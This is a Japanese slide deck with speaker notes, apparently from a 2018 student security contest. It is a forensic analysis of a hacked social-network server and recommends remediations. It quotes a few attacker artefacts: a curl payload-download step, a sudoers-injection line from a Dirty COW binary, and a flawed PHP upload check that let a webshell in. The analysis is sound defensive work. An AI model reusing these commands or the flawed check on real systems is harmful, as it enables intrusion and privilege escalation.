MBSD Cybersecurity
Challenges 2018
[なんでもいい@Aso /Nihon/Fukuoka]$
1
アジェンダ
1. チーム紹介
2. 被害の範囲
3. 攻撃に使われた脆弱性と対策
4. 対応方法
5. まとめ
2
チーム紹介
3
チームメンバー
◆中山 怜也(なかやま れいや)
◆河原 慎之介(かわはら しんのすけ)
ツールを用いた脆弱性の調査
PHPのソースコード解析
サーバサイド
◆竹﨑 友哉(たけざき ともや)
◆本田 翔太郎(ほんだ しょうたろう)
ツールを用いた脆弱性の調査
各種ログ解析
4
プログラムサイド
被害の範囲
5
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
・登録されているユーザアカウント情報
(ユーザ ID、ユーザネーム、性別、生年月日).................8件
・ユーザの日記..............................................................33件
・ユーザのメッセージ...................................................21件
攻撃者サーバ
サーバ侵入に向けた情報収集
個人情報入手
6
攻撃者サーバ
/var/www/html/webmix3/ 内
・index.php
・login.php
・sendmessage.php
・libs.php
・/class/class.php
・/class/User.php
6件
ソースコードや設定ファイル収集
7
5件
/etc/ 内
・passwd
・shadow
・hosts
・issue
・/httpd/conf/httpd.conf
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者不正なPHPファイル
コマンド
su -l
送信
8
※任意のコマンドを実行するプログラム
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者サーバ
不正なPHPファイルのアップロード
9
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者サーバ
コマンド送信!
任意のコマンドを用いて
サーバ内の操作が可能に!!!
※root 権限は無い
10
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者実行ファイル
DirtyCOWの脆弱性
を使用した権限昇格
を行うプログラム
11
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者
コマンド
curl -O http://xxx
送信
12
サーバ
サーバを操作し、
実行ファイルを
ダウンロード!!!
不正なPHPファイル
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
サーバ
昇格!!!
13
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者サーバ
コマンド送信!
root 権限で!
任意のコマンドを用いて
サーバ内の操作が可能に!!!
14
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者サーバ
15
SSHログインの設定を行い、
PHPファイルを通さずサーバに
直接侵入可能に!
SSHログイン!9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
正規ユーザサーバ
16
利用者IDとPWの送信
tmp/.z
利用者ID・PW
溜まったら、
ダウンロード..!!
攻撃者
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
17
不正なスクリプトを埋め込んだ日記
罠にかかれ...!!!
攻撃者
正規ユーザ
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
18
/var/www/html/webmix3/ 内
・register.php
・logout.php
・user.php
・changeprofile.php
・userlist.php
・writediary.php
・help.php 2件7件
攻撃者サーバ
ソースコードや設定ファイル収集
/etc/ 内
・shadow
・group
・redhat-release
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
19
・ユーザのパスワード.................................................5件
・ユーザの日記........................................................14件
・ユーザのメッセージ.................................................3件
攻撃者サーバ
個人情報入手
tmp/.z
利用者ID・PW
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
攻撃者
バックドア用
PHPファイル
20
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
※任意のコマンドを実行するプログラム
攻撃者サーバ
バックドアのアップロード
21
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
22
攻撃者サーバ
トップページ改ざん!
改ざん後トップページ 正規ユーザ
9月19日
情報の漏洩
脆弱性検査ツール使用
9月21日
情報の漏洩
ウェブサーバ侵入
9月22日 root 権限昇格
9月26日
SSHログイン
ログインページ改ざん
XSS攻撃
9月28日
情報の漏洩
バックドア設置
トップページ改ざん
・登録されているユーザアカウント情報
(ユーザ ID、ユーザネーム、性別、生年月日).....................8件
・ユーザのパスワード..............................................................5件
・全てのユーザの日記........................................................47件
・全てのユーザのメッセージ.............................................24件
◇MBSD SNSサイト内の情報◇
正規ユーザのほぼ全ての情報が漏洩 23
/var/www/html/webmix3 内
・index.php
・register.php
・login.php
・logout.php
・user.php
・changeprofile.php
・userlist.php
・sendmessage.php
・writediary.php
・help.php
・libs.php
・/class/class.php
・/class/User.php
◇サーバ内の情報◇
20件
24
/etc/ 内
・passwd
・shadow
・hosts
・issue
・group
・redhat-release
・/httpd/conf/httpd.conf
ソースコードや設定ファイルが漏洩
攻撃に使われた脆弱性と対策
25
1. MySQLのrootユーザのパスワードが未設定
2. DirtyCOW の脆弱性
3. userlist.php におけるSQLインジェクション
4. 不正な形式のファイルをアップロード可能
5. readdiary.php におけるXSS
6. phpinfo.php が公開されている
7. 存在するユーザにアクセスしようとするとForbidenが表示される
8. 他人の日記を書き換えることが可能
9. readdiary.php のセマンティックURL攻撃に対する脆弱性
10. sendmessage.php のメッセージ送信の宛先に関する問題
11. user.php のセマンティックURL攻撃に対する脆弱性
12. 各画面のcsrfの脆弱性
攻撃者に発見された脆弱性リスト
[ 8.2 ]
[ 7.8 ]
[ 7.5 ]
[ 6.4 ]
[ 6.1 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 4.3 ]
CVSS v3 評価
(基本評価基準)
26
侵入に利用された脆弱性リスト CVSS v3 評価
(基本評価基準)
27
1. MySQLのrootユーザのパスワードが未設定
2. DirtyCOW の脆弱性
3. userlist.php におけるSQLインジェクション
4. 不正な形式のファイルをアップロード可能
5. readdiary.php におけるXSS
6. phpinfo.php が公開されている
7. 存在するユーザにアクセスしようとするとForbidenが表示される
8. 他人の日記を書き換えることが可能
9. readdiary.php のセマンティックURL攻撃に対する脆弱性
10. sendmessage.php のメッセージ送信の宛先に関する問題
11. user.php のセマンティックURL攻撃に対する脆弱性
12. 各画面のcsrfの脆弱性
[ 8.2 ]
[ 7.8 ]
[ 7.5 ]
[ 6.4 ]
[ 6.1 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 4.3 ]
侵入に利用された脆弱性リスト CVSS v3 評価
(基本評価基準)
28
[ 8.2 ]
[ 7.8 ]
[ 7.5 ]
[ 6.4 ]
[ 6.1 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 5.3 ]
[ 4.3 ]
1. MySQLのrootユーザのパスワードが未設定
2. DirtyCOW の脆弱性
3. userlist.php におけるSQLインジェクション
4. 不正な形式のファイルをアップロード可能
5. readdiary.php におけるXSS
6. phpinfo.php が公開されている
7. 存在するユーザにアクセスしようとするとForbidenが表示される
8. 他人の日記を書き換えることが可能
9. readdiary.php のセマンティックURL攻撃に対する脆弱性
10. sendmessage.php のメッセージ送信の宛先に関する問題
11. user.php のセマンティックURL攻撃に対する脆弱性
12. 各画面のcsrfの脆弱性
不正な形式の
ファイルをアップロード可能
29
不正な形式のファイルをアップロード可能
・本来の仕様では、ファイル名の末尾が「.jpg」以外はアップロードできない
・不正な場合エラー画面が表示されるが、ファイルはアップロードされてしまう
※ メッセージ送信画面
※ メッセージ送信後画面 30
不正な形式のファイルをアップロード可能
31
流れ図(sendmessage)
move_uploaded_file(
$_FILES[‘file’][‘tmp_name’],”./tmp/”.$tname)
&&
preg_match(“/^[^.]+¥.jpg$/”,$tname))
ファイルを”./tmp/”にアップロード
し、成功しているか
&&
ファイル名の末尾が ”.jpg” であるか
Sendmessage.php
の19行目
32
preg_match("/^[^.]+¥.jpg
$/",$tname)
move_uploaded_file(
$_FILES[‘file’][‘tmp_name’],”./t
mp/”.$tname)
流れ図
ファイルを ”./tmp/” にアップ
ロードし、成功しているか
ファイル名の末尾が
”.jpg” であるか
hoge.php
33
Dirty COW の 脆弱性
34
Dirty COW とは
・約2年前に公開(CVE-2016-5195)
・Linuxカーネルに起因する脆弱性
・一般ユーザがシステム上で権限昇格可能に
35
/tmp/.aについて
[root@sns tmp]# strings .a | tail -n2
/etc/cron.hourly/0anacron
echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a
これによってなんでもできてしまうユーザに
-bash-4.1$ echo $USER
apache
-bash-4.1$ sudo whoami
root
36
/tmp/.aについて
[root@sns tmp]# cat /etc/cron.hourly/0anacron
#!/bin/bash
echo 'apache ALL=(ALL) NOPASSWD:ALL'>/etc/sudoers.d/a
/etc/cron.hourlyフォルダとは
一時間毎に実行される自動タスクを配置
37
対策:Dirty COW について
カーネルのアップデート
# yum update kernel
# reboot
# uname -r
2.6.32-754.6.3.el6.i686
38
対策:/tmp/.aについて
カーネルアップデート後に、権限昇格用プログラム/tmp/.aを実行
権限昇格が行われなくなった!
39
対応方法
40
まず謝罪しましょう!
41
Webアプリケーション(webmix3)サイド
対処内容 理由
ファイル「webmix3/tmp/.5a566099006d3b60892fb0
91dac8d1bfwebshell.php 」の消去
攻撃者が仕込んだ「バックドア」のファイル。
Webサーバへ命令を送信し、実行させられる。
ファイル「webmix3/tmp/.z」の消去 利用者ID・パスワードを搾取するためのファイル。
webmix3/tmp 配下に不正にアップロードされたファイルの消
去
攻撃者が調査のため、脆弱性を用いて保存させたファイル。
phpinfo.phpの消去 サーバの設定情報などを攻撃者に与えてしまうファイル。
login.phpの改ざん箇所の消去 利用者ID・パスワードを搾取するため改ざんされたソースコード。
index.htmlの消去 攻撃者が改ざんしたトップページのファイル。
バックアップからindex.phpの復旧 改ざんされたトップページの復旧。
脆弱性リストにて記載した脆弱性への対策 再度同じ攻撃を行なわれないための対策。
暫定的な対処 - サービス再開に向けて 1
42
暫定的な対処 - サービス再開に向けて 2
サーバサイド
対処内容 理由
MySQLサーバ内のrootユーザに対してパスワードを設定 万が一、攻撃者がMySQLに接続できてしまった場合、容易にrootでアク
セスされ、MySQL上で可能なことは何でもできてしまう。
MySQLデータベースのuserテーブル内で、root@%のレコ
ードを削除
運用に不要な権限はできるだけ減らしたほうが良い。
ファイアウォール(iptables)の設定変更 運用に不要なポートが開いている場合、標的にされやすくなってしまう。
/tmp/.aファイルを削除 攻撃者が使用した権限昇格用のプログラム。
MySQLのテーブルに登録された、不正な情報を含む行の削
除
XSS等で不正に登録されてしまったもの。
HTTPアクセスをHTTPSにリダイレクトする HTTP通信では平文でデータを送信するので、IDとパスワード等のログイ
ン情報が盗聴されてしまう可能性があるため。
カーネルのアップデート 現在では脆弱性のある古いカーネルを使用しているため。
43
恒久的な対策
構成面
対処内容 理由
WAFの導入
継続的に、高いレベルのセキュリティを実現できる。
IPSの導入
セキュリティソリューションサービスの利用
運用面
OSやソフトのバージョン管理 攻撃に使用される脆弱性を減らすことができる。
セキュリティ監査の定期的な実施 運用方法の問題や、ソースコードの脆弱性を発見できる。
定期的にシステム全体の改ざんの有無を調査 改ざんの被害にあった場合でも、被害の拡大を防止できる。
ログ監視の強化 攻撃による致命的な問題の発生前に、対処することができる。
従業員へのセキュリティ教育の徹底 ルールを定め、遵守させるためにセキュリティ意識の向上。
44
MBSDさんのサービスを利用する
まとめ
45
被害を発生・拡大させた原因
● 運営のセキュリティ意識の低さ
● 運営の攻撃発見の遅さ
● phpinfo();関数があるPHPファイルを見ることができた
● MySQLのroot設定が脆弱
○ MySQLサーバ内のrootユーザに対してパスワードが設定されていない
○ MySQLデータベースのuserテーブル内で、root@%のレコードが存在する
● ソースコードが脆弱すぎる
● システムのバージョンが古すぎる
○ CentOS 6のサポートは2020年11月終了 46
被害を発生・拡大させた原因
運営のセキュリティ意識の低さ
47
ログ監視の強化について
48
工夫した点
・まずシステムの機能を把握し、調査を行った
・情報をGETやPOSTで渡している箇所を重点的に調査
・サーバサイドと連携し、ログを元に、攻撃されたと思われる箇所を調査した
サーバサイド
・サーバにインストールされているソフトのバージョンをリスト化
→CVE Detailsを用いて脆弱性をリスト化
・使い慣れたExcelを用いて詳細にログを分析
→httpdやsecure、MySQL等のログ情報をまとめ、タイムラインを作成
データベース内の情報等、様々な情報を突合せながら分析
49
プログラムサイド
使用したツール
ログ解析
Excel
自作したJavaプログラム
ヘッダの改ざん
burpsuite
sqlインジェクション、データベース搾取
sqlmap
脆弱性診断ツール
nessus
vuls
open-vas
ウェブサイト診断
skipfish
nikto
ソフトウェア脆弱性データベース
CVE Details
EXPLOIT DATABASE
エクスプロイトキット
Metasploit
ポートスキャン
nmap
SPARTA
静的脆弱性検査ツール
PHP RIPS
共通脆弱性評価システム
ファイル転送
WinSCP
ネットワーク・アナライザ・ソフトウェア
WireShark
50
Thank you for listening!!
51

MBSD Cybersecurity Challenges 2018

Editor's Notes

  • #5 今回私たちは、プログラムサイドとサーバサイド、それぞれから調査を進めました。 プログラムサイドの調査は中山、河原が担当し、 サーバサイドの調査は竹崎と、わたくし本田が担当しました。 では、
  • #6 今回の被害範囲について、時系列に沿って説明をしていきます。
  • #7 まず19日、(脆弱性検査)による情報漏洩が発生しました。 攻撃者がウェブサーバ侵入のためにNmapやNikto、phpinfoなどで情報収集を行いました。 加えて、sqlmapを用いたSQLインジェクション攻撃によりこれらが漏洩しました。
  • #8 次に、21日、(ソースコード等)の情報が漏洩しました。 ここでは、攻撃者によってMySQLサーバ内への侵入が行われ、これらの情報も漏洩してしまいました。ここまでは準備段階です。
  • #9 そして、いよいよ攻撃者は、ウェブサーバへの侵入に使用する不正なPHPプログラムの作成を行い始めました。現在そのファイルは残っていませんが、その後のアクセスログから、このプログラムでは任意のコマンドを実行できると考えました。
  • #10 次に攻撃者は、作成したPHPファイルをメッセージ送信画面に内在する脆弱性を利用してサーバにアップロードします。
  • #11 その後、攻撃者はアップロードしたPHPファイルへアクセスすることに成功し、サーバ内へ侵入することに成功します。ただし、この時点では root 権限がないため、攻撃者はこれから root 権限への昇格に向け行動することになります。
  • #12 攻撃者はまず、後述するDirty COWと呼ばれる脆弱性を利用した権限昇格を行うプログラムを作成しました。
  • #13 そして、先ほどアップロードされたPHPファイルを使用し、サーバ自身がファイルをダウンロードするという形でサーバ内へ権限昇格プログラムを設置しました。
  • #14 そして、サーバ上でプログラムが動き、root 権限への昇格に成功します。
  • #15 これにより、攻撃者は root 権限で!任意のコマンドを実行できるようになりました。
  • #16 その後攻撃者は、SSHログインのための設定を行い、直接サーバへ侵入します。
  • #17 SSHログインした攻撃者は、正規ユーザのパスワードを収集する目的でログインページを改ざんしました。これによって、見た目は変わりないですが、正規ユーザがログインを行った際、.zという隠しファイルにIDとパスワードが保存されてしまうようになります。このファイルを攻撃者がダウンロードすることで、パスワードが漏洩してしまいます。
  • #18 さらに攻撃者は、正規ユーザの日記を、不正なスクリプトを埋め込んだ日記に改ざんしました。この日記を他ユーザが閲覧すると、閲覧したユーザ自身にも同じ内容の日記が勝手に投稿され、ユーザ間で次第に拡散されていくクロスサイトスクリプティング攻撃になっています。加えて日記の中にはとあるリンクが1つ貼られており、それを踏むことでさらなる被害に繋がっていた可能性もありました。
  • #19 この再びこれらの情報が漏洩しました。
  • #20 さらには、ユーザの日記やメッセージと併せて先ほどのログインページ改ざんで出てきた.zというユーザのidとパスワードが格納されたファイルがダウンロードされてしまいパスワードも漏洩してしまいました。
  • #21 攻撃者は、バックドア用に新たなPHPファイルを作成します。このファイルでも初めにあったファイルと同様に任意のコマンドを実行できる仕組みになっています。
  • #22 そのバックドアを、メッセージ送信フォームを利用した同様のやり方でサーバへアップロードしました。
  • #23 その後、攻撃者はトップページを改ざんし、これによりシステムが停止してしまいました。
  • #24 以上、被害範囲と併せて大まかな流れをご説明しましたが、漏洩した情報をまとめると次のようになります。 流出した情報の概要(MBSD SNSサイト内) 正規ユーザのほぼすべての情報が漏洩してしまっています。
  • #25 加えてサーバ内の重要なファイルも多数漏洩する事態となりました。 以上が、今回発生した被害の範囲と、時系列になります。 それでは次に、
  • #26 今お伝えした被害の発生原因となる脆弱性と、その対策方法について、話していきたいと思います。
  • #28 このうち、最も重大かつ致命的な脆弱性であると私達のチームが考えた、
  • #29 このうち、最も重大かつ致命的な脆弱性であると私達のチームが考えた、
  • #30 ではまず、不正なファイルをアップロード可能、についてです。
  • #31 本来では、jpg形式以外のファイルはアップロードができず、エラーとなりますが、 phpファイル等のjpg形式以外のファイルを送信した場合、 エラー画面が表示されるものの、実際にはサーバ上にアップロードされてしまう。 という脆弱性があります。
  • #32 このように、PHPファイルのアップロードが行われてしまっていることが確認できました。
  • #33 そして、こちらが問題となる箇所のソースコードを流れ図にしたものなります。 これでは分かりにくいため、日本語に変換します。 ここで問題となるのが、赤文字の条件です。 1つの分岐内で、ファイル名のチェックと同時に画像のアップロードの成否判定を行っているため、形式が違う場合でもファイルのアップロードが行われてしまいます。 この脆弱性により攻撃者に今回、不正なプログラムをアップロードされてしまいました。 この脆弱性の解決方法は、
  • #34 同時に行ってしまっている2つの条件を分割し、先にファイル名の末尾のチェックを行うことで、jpg形式以外のファイルを弾くことが可能になります。 それでは次に、
  • #35 2点目の脆弱性である、DirtyCOWについて、説明してまいります。
  • #36 Dirty COWとは、約2年前に公開されたLinuxカーネルの脆弱性で、システム上で自らの権限を昇格させることが出来るという危険な脆弱性です。
  • #37 /tmp/.aファイ調査で、攻撃者によって tmp 配下に .a というファイルが埋め込まれていることが判明しました。 そのファイルはELFの実行ファイルであり、apatchユーザがsudoコマンドの実行可能にする文が確認できました。 ルにバイナリファイルの可読部分を表示するstringsコマンドを使用し解析を試みたところ上記のapacheユーザがsudoコマンドの実行を可能にする文を確認することができた。
  • #38 実際にcron.hourlyフォルダを確認すると、apacheユーザがパスワードなしにsudoコマンドの実行を可能にする設定が埋め込まれていました。
  • #39 この脆弱性は、古いバージョンのカーネルを使用していることが原因なので、 対策は、カーネルをアップデートする事です。
  • #40 実際に、アップデート後に再度、.a ファイルを実行したところ、 このように、権限の昇格が行われなくなった事が確認できました。
  • #41 それでは次に、今回の被害への対応について話させていただきます。 今回のインシデントでは攻撃者から攻撃が行われ、複数の被害が発生しました。 これからまず、何をすべきか。
  • #42 最も大切なことは、「まず謝ってください」 利用者は突然サイトが改ざんされ、不安に感じていることでしょう。 ですので、まずは、謝罪と状況の説明、今後の方針 などの掲載を行ってください。 次に、サービスの再開に向けて、 必須な暫定的な対処について説明いたします。
  • #43 ではまずは、Webアプリケーションサイドの対処です。 主に、不正にアップロードされたファイルを削除することと、今回攻撃に使われた脆弱性への対策です。
  • #44 では次に、サーバサイドでの対処です。 こちらは、主に脆弱な設定であるものを変更する内容となっております。 以上がサービス再開に向けての暫定的な対処となります。
  • #45 次に、恒久的に行なっていくべき対策について、お話しいたします。 WAFやIPS、セキュリティーソリューソンサービスなどを活用することで、継続的に高いセキュリティを実現することが可能となります。 また、OSやソフトのバージョンの管理や、その脆弱性の調査、ログ監視、従業員のセキュリティ教育を行っていくことも必要となります。
  • #47 今回の被害を発生・拡大させた原因はなんだったのか。 今画面に表示しているように様々な原因が考えられました。 一番の原因は
  • #48 「運営のセキュリティ意識の低さ」であると私達のチームは結論づけました。 まず、今回のシステムに「脆弱性が存在する」と指摘を受けていたのにも関わらず、そのままサービスを開始した、ということが、そもそも問題の根源です。 もしその時点で、きちんと脆弱性への対処が行われて入れば、今回のインシデントは発生しなかったはずです。 これらの点から、セキュリティ意識が全体的に不足していたと考えられます。
  • #49 また、問題点の一つとして、ログの監視も挙げられます。 これも、今回のインシデントにおいて、運用面で非常に大きな問題の一つであったと、私たちは考えています。 今回の攻撃は19日から開始されていました。 しかし、実際に攻撃されていることに気がついたのは10月1日でした。 この間、12日間もあります。 もし、早い段階で攻撃を察知できていれば、 利用者IDとパスワードの流出や、ホームページの改ざんなどの攻撃を防ぐことも可能だったと、私たちは考えています。 システムやログの監視者を配置するなどして、常に攻撃の早期発見が可能な運用をすることが大切です。
  • #50 工夫した点については、この様になっております。 主に、優先して調査する箇所の限定と、調査するログ等の情報の整理に使用しました。
  • #51 では最後に、私たちが今回の調査で工夫した点、使用したツールなどの一覧を紹介してまいります。 こちらが使用したツールは今表示しているものになっております。